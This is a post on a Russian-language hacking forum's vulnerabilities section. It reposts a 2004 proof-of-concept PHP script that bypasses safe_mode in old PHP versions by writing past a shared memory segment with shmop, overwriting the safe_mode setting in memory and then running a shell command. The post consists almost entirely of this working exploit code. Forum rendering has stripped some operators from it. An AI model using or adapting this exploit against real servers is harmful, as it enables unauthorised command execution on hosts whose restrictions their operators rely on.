HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #14  
Старый 01.08.2009, 02:37
0ze
Новичок
Регистрация: 06.02.2009
Сообщений: 11
С нами: 9083318

Репутация: 16
По умолчанию

Php <= 5.0.2 & 4.3.9 (если загружен модуль shmop).
PHP код:
<?
/*
   Php Safe_mode Bypass Proof of concept.

   Copyright 2004 Stefano Di Paola stefano.dipaola[at]wisec.it

   Disclaimer: The author is not responsible of any damage this script can cause

*/

 
$shm_id shmop_open(0xff2"c"0644100);
  if (!
$shm_id) {
    echo 
"Couldn't create shared memory segment\n";
    die;
 }

// $data="\x01";
// the new value for safe_mode
 
$data="\x00";

// this (-3842685) is my offset to reach core_globals.safe_mode
// taken with gdb. (0x40688d83)
 
$offset=-3842685;
// Lets write the new value at our offset.
$shm_bytes_written shmop_write($shm_id$data$offset );
if (
$shm_bytes_written != strlen($data)) {
   echo 
"Couldn't write the entire length of data\n";
}

//Now lets delete the block and close the shared memory segment
if (!shmop_delete($shm_id)) {
   echo 
"Couldn't mark shared memory block for deletion.";
}
shmop_close($shm_id);

// Let's try if safe mode has been set to off
echo passthru("id");
dl("shmop.so");
?>
http://www.wisec.it/news.php?page=2
 
Ответить с цитированием
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.